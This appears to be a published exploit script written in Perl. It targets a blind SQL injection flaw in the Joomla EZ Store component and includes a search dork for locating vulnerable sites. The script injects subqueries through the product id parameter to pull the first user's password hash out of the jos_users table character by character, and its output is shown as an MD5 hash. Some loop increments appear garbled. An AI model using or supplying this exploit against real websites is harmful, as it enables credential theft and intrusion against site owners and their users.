Joomla Component EZ Store Remote Blind SQL Injection Exploit

#!/usr/bin/perl
     #Note:Sometimes you have to change the regexp to viewcategory/catid,".$cid."
     use LWP::UserAgent;
     use Getopt::Long; if(!$ARGV[1])
     {
     print " \n";
     print " ################################################################\n";
     print " # Joomla Component EZ Store Blind SQL Injection Exploit #\n";
     print " # Author:His0k4 [ALGERIAN HaCkeR] #\n";
     print " # #\n";
     print " # Conctact: His0k4.hlm[at]gamil.com #\n";
     print " # Greetz: All friends & muslims HacKeRs #\n";
     print " # Greetz2: http://www.dz-secure.com #\n";
     print " # #\n";
     print " # Dork: inurl:com_ezstore #\n";
     print " # Usage: perl ezstore.pl host path <options> #\n";
     print " # Example: perl ezstore.pl www.host.com /joomla/ -p 11 -c 2 #\n";
     print " # #\n";
     print " # Options: #\n";
     print " # -t Valid procuct id #\n";
     print " # -c Category value of the following product id #\n";
     print " ################################################################\n"; exit;
     } my $host = $ARGV[0];
     my $path = $ARGV[1];
     my $cid = $ARGV[2];
     my $pid = $ARGV[3]; my %options = ();
     GetOptions(\%options, "c=i", "x=s", "p=i"); print "[~] Exploiting...\n"; if($options{"c"})
     {
     $cid = $options{"c"};
     } if($options{"p"})
     {
     $pid = $options{"p"};
     } syswrite(STDOUT, "[~] MD5-Hash: ", 14); for(my $i = 1; $i <= 32; $i )
     {
     my $f = 0;
     my $h = 48;
     while(!$f && $h <= 57)
     {
     if(istrue2($host, $path, $cid, $pid, $i, $h))
     {
     $f = 1;
     syswrite(STDOUT, chr($h), 1);
     }
     $h ;
     }
     if(!$f)
     {
     $h = 97;
     while(!$f && $h <= 122)
     {
     if(istrue2($host, $path, $cid, $pid, $i, $h))
     {
     $f = 1;
     syswrite(STDOUT, chr($h), 1);
     }
     $h ;
     }
     }
     } print "\n[~] Exploiting done\n"; sub istrue2
     {
     my $host = shift;
     my $path = shift;
     my $cid = shift;
     my $pid = shift;
     my $i = shift;
     my $h = shift; my $ua = LWP::UserAgent->new;
     my $query = "http://".$host.$path."index.php?option=com_ezstore&Itemid=1&func=detail&id=".$pid." and (SUBSTRING((SELECT password FROM jos_users LIMIT 0,1),".$i.",1))=CHAR(".$h.")"; if($options{"x"})
     {
     $ua->proxy('http', "http://".$options{"x"});
     } my $resp = $ua->get($query);
     my $content = $resp->content;
     my $regexp = "viewcategory&catid=".$cid.""; if($content =~ /$regexp/)
     {
     return 1;
     }
     else
     {
     return 0;
     } }